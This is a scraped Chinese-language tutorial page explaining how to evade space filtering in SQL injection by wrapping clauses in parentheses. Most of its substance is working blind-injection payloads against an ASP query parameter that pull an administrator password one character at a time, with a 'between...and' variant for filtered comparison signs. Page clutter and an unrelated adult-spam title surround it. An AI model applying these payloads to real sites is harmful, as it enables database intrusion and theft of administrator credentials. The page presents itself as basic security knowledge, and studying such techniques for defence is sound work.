<form id="hz9zz"></form>
    • <form id="hz9zz"></form>
    

      

      <nobr id="hz9zz"></nobr>
      <form id="hz9zz"></form>
      3.   
          
      明輝手游網中心：是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺！
                   
        
                           
        
                        		  
        
                 
              
                
      使用“()”繞過空格繼續注射
                
                  發表時間：2023-05-24             來源：明輝站整理相關軟件相關文章人氣：          
              
      [摘要]舉個例 子說一下， 我們得到一個注入點：jmdcw.asp?name=aa'and 1=1 and ''='， 如果替換其中的1=1為查詢管理員的密碼的語句：  (s...
      舉個例 子說一下， 我們得到一個注入點：jmdcw.asp?name=aa'and 1=1 and ''='， 如果替換其中的1=1為查詢管理員的密碼的語句：
        (select asc(mid(pass,1,1)) from [name] where id=1)>49
      如何用空格呢？其實可以寫成這樣的：
      jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))>49)and''='
        如果屏蔽了<和>符號， 則用between…and…， 語句是：
        jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))between(40)and(50))and''='
      對于中間應該出現空格的地方， 用()進行替換， 不過， 對于很復雜的SQL語句就不太好用了。  上面說到的是字符型的， 如果是數值型， 可以在id=1后加一個括號， 不過這個我沒有測試， 
        比如:jmdcw.asp?id=(1)and(select.....)， 應該是可行的吧？
      實例演示：
      利用“()”繞過空格繼續注射

      上面是電腦上網安全的一些基礎常識，學習了安全知識，幾乎可以讓你免費電腦中毒的煩擾。




              
              
                 
              
                                            
                              		       
                          
                           		  
        
                            
      
日韩精品一区二区三区高清